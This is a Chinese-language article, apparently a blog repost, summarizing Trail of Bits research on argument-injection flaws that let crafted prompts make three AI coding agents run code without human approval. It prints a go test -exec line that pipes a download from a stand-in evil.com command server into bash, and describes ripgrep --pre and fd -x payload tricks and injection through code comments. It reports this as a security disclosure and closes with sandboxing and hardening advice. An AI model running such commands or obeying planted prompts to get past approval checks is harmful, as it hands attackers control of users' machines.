流行AI代理曝严重参数注入漏洞,攻击者可远程执行代码

安全研究人员发现三个主流AI代理平台存在严重参数注入漏洞,攻击者可通过精心构造的提示绕过人工审批机制实现远程代码执行。漏洞利用预批准系统命令的设计缺陷,涉及grep、git等工具的参数注入攻击。

流行AI代理曝严重参数注入漏洞,攻击者可远程执行代码

漏洞概述

三个未具名的流行AI代理平台存在严重参数注入漏洞,攻击者可通过看似无害的提示绕过人工审批安全机制,实现远程代码执行(RCE)。根据Trail of Bits的研究,这些漏洞利用了为提升效率而预批准的系统命令,揭示了智能代理系统中普遍存在的设计缺陷。

技术背景

AI代理依赖原生工具(如find、grep、git和go test)来处理文件系统操作和版本控制,这些工具在性能、可靠性和开发速度方面具有优势。然而,当用户输入影响参数时,这些预批准命令会创建攻击面,导致CWE-88定义的参数注入。

漏洞机制

系统通常通过允许列表验证命令,但忽略参数标志的检查。由于工具参数空间巨大,全面阻止变得不切实际。例如,一个简化的Go函数检查"grep"等命令是否安全,但会不加检查地附加用户提供的参数,留下可利用空间。

这种反模式持续存在,因为选择性过滤需要详尽掌握命令选项知识,而AI的动态特性加剧了这一挑战。

攻击实例

在一个基于CLI的代理中,攻击者构造提示运行:

1
go test -exec 'bash -c "curl c2-server.evil.com?unittest= | bash; echo success"'

利用-exec标志引入未经授权的curl和bash命令,最终在未经批准的情况下实现RCE。

另一个示例通过使用git show携带十六进制编码的有效载荷创建文件,然后利用ripgrep的–pre标志执行该文件。所有这些操作都通过JSON格式的提示完成,引导模型使用工具。

攻击模式

第三个系统中的外观模式漏洞将恶意标志(如"-x=python3")附加到fd命令,使用os.system执行预创建的Python有效载荷进行任意操作。

这些单次攻击可嵌入代码注释或代码库中,借鉴了GTFOBins和LOLBAS项目中记录的"离地生存"技术。

防御建议

研究人员主张将沙箱作为主要防御手段:

  • 使用容器、WebAssembly或macOS的Seatbelt等OS级隔离来限制代理访问
  • 对于外观模式,始终在用户输入前插入参数分隔符"–",并使用subprocess.run(shell=False)等方法禁用shell执行
  • 无沙箱情况下,安全的命令允许列表仍然存在缺陷,因为find等工具可通过标志实现代码执行
  • 开发人员应实施日志记录、缩减允许列表,并对可疑链重新引入人工审批循环
  • 用户必须限制访问权限并对不可信输入使用容器
  • 安全工程师可通过提示或文档映射工具,对标志进行模糊测试,并与漏洞数据库进行比较

随着智能AI的普及,这些协调披露标志着在技术固化前优先考虑安全性的转变。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计